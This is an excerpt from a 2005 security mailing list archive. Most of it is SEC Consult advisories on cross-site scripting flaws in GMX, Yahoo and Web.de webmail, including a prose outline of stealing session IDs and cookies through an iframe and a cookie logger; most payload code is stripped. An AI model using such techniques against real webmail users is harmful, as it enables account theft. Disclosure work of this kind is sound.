http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 814770 ba1a2147b2717afdeb6bc6c603748684 http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 2646280 c7debfc211977a5587eeb353dcf9ac09 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 31994 635f808e87308177acc302816f65a566 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 3657374 cbe8f520cc8e821b288c06af052822f6 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/46256817/attachment.bin From iago at valhallalegends.com Fri Dec 2 13:51:46 2005 From: iago at valhallalegends.com (Ron) Date: Fri, 02 Dec 2005 07:51:46 -0600 Subject: [Full-disclosure] Hacking hoax... Message-ID: <43905172.2030105@valhallalegends.com> I'm hosting a bit of a hoax this week (to celebrate December Fool's Day, not to be confused with April Fool's Day, which is real). What I need is some log files that seem to indicate an attack. I already posted some FTP brute-force-looking stuff, but it was pretty weak. Anybody got some cool looking log files I can borrow? Thanks! From mmadison at fnni.com Fri Dec 2 14:19:02 2005 From: mmadison at fnni.com (Madison, Marc) Date: Fri, 2 Dec 2005 08:19:02 -0600 Subject: [Full-disclosure] SOX whistleblower requirements challenged in court? (Was SOX whistleblowers' clause Compliance) Message-ID: "Challenged" may not have been the appropriate word, again IANAL, google sox+whistleblower+court. Or if you trust me then just click on the below link ;) www.nixonpeabody.com/linked_media/publications/ELA_12282004.pdf -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Jesse W. Asher Sent: Friday, December 02, 2005 5:55 AM To: full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] SOX whistleblower requirements challenged in court? (Was SOX whistleblowers' clause Compliance) I was curious about the mention of "the SOX whistleblowers requirements have been challenged in court". Can anyone provide more information on this? What has challenged and why? Thanks!! >>From: Madison, Marc [mailto:mmadison at fnni.com] IANAL, But IMO use an >>Intranet web page that allows employees to submit anonymous html post >>to the web server via html. Now if your security policy is pervasive >>then surely auditing is enabled on all your systems, thus removing any >>anonymity this would have provided. Have you considered, dare I say, >>outsourcing? I only say this since part of the requirement calls for >>the company to provide sufficient anonymity to individuals reporting >>issues. By the way the SOX whistleblowers requirements have already >>been challenged in court so there might be precedence on what is >>sufficient. >> >> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From research at sec-consult.com Fri Dec 2 15:21:07 2005 From: research at sec-consult.com (Sec Consult Research) Date: Fri, 02 Dec 2005 16:21:07 +0100 Subject: [Full-disclosure] SEC Consult SA-20051202-1 :: GMX Webmail XSS Message-ID: <43906663.2010809@sec-consult.com> ========================================================== SEC-CONSULT Security Advisory 20051202-0 GMX / MSIE XSS ========================================================== Product: GMX Webmail V ?.? in combination with MSIE (maybe other browsers) Remarks: no other Versions tested but very likely vulnerable Vulnerablities: Multiple XSS/Relogin-trojan Vendor: gmx.net Vendor-Status: first time vendor contacted (2005.12.02) Vendor-Patchs: --- Object: MSIE (unknown version - 5.*+) Exploitable: Local: --- Remote: YES Type: XSS - Cross Site Scripting ============ Introduction ============ GMX-Webmail Vulnerability #1/2005 ===================== Vulnerability Details ===================== 1) XSS / Relogin Trojan ======================= gmx.net s blacklists fail to detect script-tags in combination with SPECIAL/META-Characters. This leavas Webmail users using MSIE vulnerable to typical XSS / Relogin-trojan attacks. Vulnerable TAG/ATTRIBUTTE ========================= P/STYLE (most likely others) Malicious HTML-Mail: =================================================================================================================== P-TAG / STYLE ATTRIBUTE: ---cut here---

Hola Seniores ...

---cut here--- =================================================================================================================== Remark: Since the authentication tokens are stored in a second subdomain it is not possible steal them with a single XSS. It is very likely that a second XSS vulnerability within this domain could be used to achieve this goal. When users want to view HTML messages they have to confirm this by clicking on a single link. We assume that everybody would do so. =============== General remarks =============== We would like to apologize in advance for potential nonconformities and/or known issues. ====================================== Recommended hotfixes for webmail-users ====================================== Do not use MS Internet-Explorer. ================= Recommended fixes ================= Do not use blacklists on tags and attributes. Whitelist special/meta-characters. ============== Vendor-Patches ============== --- ======= Contact ======= SEC-CONSULT Austria / EUROPE research at sec-consult.com From research at sec-consult.com Fri Dec 2 15:23:01 2005 From: research at sec-consult.com (Sec Consult Research) Date: Fri, 02 Dec 2005 16:23:01 +0100 Subject: [Full-disclosure] SEC Consult SA-20050212-1 :: A Word on Webmail Security and Browser related XSS Bugs Message-ID: <439066D5.2020907@sec-consult.com> SEC-CONSULT Security Discussion Paper 20051202-1 ================================================================================ title: A Word on Webmail Security and Browser related XSS Bugs program: Multiple Webmail Solutions found: --- by: SEC Consult Vulnerability Lab / www.sec-consult.com affected vendors: Yahoo, Web.de original adv.: http://www.sec-consult.com/234.html ================================================================================ ----------- 1. PREFACE: ----------- As you all know, it is a tedious task to secure webmail services against Cross Site Scripting attacks if they provide HTML email functionality. Within the last few years a new type of XSS Attacks have emerged. The combination of classic style XSS and incorrect HTML parsing of several Webbrowsers (mostly MSIE) can lead to a dangerous situation for webmail systems as well as other webapplications. Especially the insertion of non printable characters like 0x00,0xff but also many others can be used to trigger such combined vulnerabilities. Many vendors implement blacklist filters or other security measures, while the root of the problem remains untouched. SEC Consult has been in touch with various webmail vendors for quite some time, trying to make this point clear. However, the situation has not changed as the security officers in charge do not show much interest in the matter. The tenor of replies (if any) to our advisories is that this is not a security issue or is impossible to exploit. Eventually, specific Cross Site Scripting vectors will be quietly fixed, though, but it is a matter of minutes to find a new one. In this security information, we will address fixed and unfixed Cross Site Scripting flaws of large scale webmail providers to add some proof for our ongoing allegations. ----------------------------------------- 3. LATEST XSS VECTORS FOR YAHOO s WEBMAIL ----------------------------------------- OUR LATEST YAHOO ADVISORY: ========================================================== SEC-CONSULT Security Advisory 20051125-y8 Yahoo / MSIE XSS ========================================================== Product: Yahoo Webmail in combination with MSIE 6.0(maybe other browsers) Remarks: no other Versions tested but very likely vulnerable Vulnerablities: Multiple XSS/Cookie-Theft/Relogin-trojan Vendor: Yahoo Vendor-Status: first time vendor contacted (2005.09) Vendor-Patchs: patched in production environment Object: MSIE (unknown version - 5.+) Exploitable: Local: --- Remote: YES Type: XSS - Cross Site Scripting - Cookie/Account Theft ============ Introduction ============ Yahoo-Webmail Vulnerability #8/2005 Followup for http://seclists.org/lists/bugtraq/2005/Oct/0263.html ===================== Vulnerability Details ===================== 1) XSS / Cookie-Theft / Relogin Trojan ====================================== Yahoos blacklists fail to detect script-tags in combination with SPECIAL/META-Characters. This leaves Webmail users using MSIE vulnerable to typical XSS / Relogin-trojan attacks. Vulnerable TAG/ATTRIBUTTE ========================= XML/DATASRC Malicious HTML-Mail: =========================================================================================================== XML-TAG / datasrc ATTRIBUTE: ---cut here---

Hola Seniores,

\n]]> ---cut here--- =========================================================================================================== =============== General remarks =============== We would like to apologize in advance for potential nonconformities and/or known issues. ====================================== Recommended hotfixes for webmail-users ====================================== Do not use MS Internet-Explorer. ================= Recommended fixes ================= Do not use blacklists on tags and attributes. Whitelist special/meta-characters. ============== Vendor-Patches ============== vulnerability has been fixed in production environment. .. and in addition some examples taken from our Yahoo webmail XSS Advisories from 2005. ================================================================================================ SCRIPT-TAG: ---cut here---

hello

alert("i have you now")

rrrrrrxxxxx
---cut here--- ================================================================================================ OBJECT-TAG: ---cut here--- ---cut here--- ================================================================================================ ONERROR-Attribute: ---cut here---

uargg

---cut here--- ================================================================================================ ONUNLOAD-Attribute: ---cut here---

somewords

---cut here--- ================================================================================================ ... many more to come :) -------------------------------- 3. EXPLOITING XSS FLAWS / WEB.DE -------------------------------- Web.de is one of Germany's biggest webmail/freemail provider. Running javascript HTML Mails can be done by trivial standard tricks, however, web.de claims to be unexploitable due the security guards in place. Firsty, session validation based on three variables, being the User-ID Cookie, the useragent, and the random session ID which is passed along in every URL. As a second security measure, HTML Mails are loaded into their own frame from a different domain. This request is validated with an encrypted one time token. Obviously, this makes it more difficult to steal the main session ID, because the victim's browser prevents the attacker's javascript code from cross domain scripting. Naturally, this "protection" can be circumvented. In our proof of concept exploit, we first extract the original domain from document.referer.We then use this information to open the main website in an iframe and leverage one of many other Cross Site Scripting flaws on web.de. This gives us access to frame[0], where we can extract the session ID from any link. We then extract the User-ID cookie and useragent by standard means and pass them to our cookie logger, along with the session ID. THE FIRST WEB.DE ADVISORY: REMARK: When we wrote the first advisory for web.de we thought it would be necessary to use a combination - attack (Browser/XSS). After a while we found out that you can achieve the same goals without using special/meta characters. =========================================================== SEC-CONSULT Security Advisory 20051125-w1 Web.de / MSIE XSS =========================================================== Product: Web.de Freemail in combination with MSIE 6.0 (probably other browsers) Remarks: no other versions tested but very likely vulnerable Vulnerablities: Multiple XSS/Cookie-Theft/Relogin-trojan Vendor: Web.de (Part of United Internet) Vendor-Status: first time vendor contacted (2005.08) Vendor-Patchs: unpatched (Vendor does not consider XSS as a vulnerability) Object: MSIE (unknown version - 5.+ / other Browsers maybe affected too) Exploitable: Local: --- Remote: YES Type: XSS - Cross Site Scripting - Relogin Trojan - Cookie/Account Theft ============ Introduction ============ Web.de is one of the largest freemail provider for the german speaking area. Web.de - Webmail/Freemail Vulnerability #1/2005 ===================== Vulnerability Details ===================== 1) XSS / Cookie-Theft / Relogin Trojan ====================================== Web.de s blacklists fail to detect script-tags in combination with SPECIAL/META-Characters.This leaves Freemail users using MSIE (and most likely many other browsers) vulnerable to typical XSS / Relogin-trojan attacks. The people from web.de try to hide their authentication tokens in another subdomain which is of course not a real measure of security but much more "security by obfuscation". Even if this precaution would prevent users from stealing session-ids and cookies it would never be sufficient against relogin-trojan attacks! Vulnerable TAG/ATTRIBUTTE ========================= MANY(most likely every one which can be used to inject java/vbscripts) How to create a malicious HTML-Mail using perl to exploit this vulnerability (this part of the advisory has been modified for this discussion paper): ==============================================================================================================================

Milk is for babies. When you grow up you have to drink beer.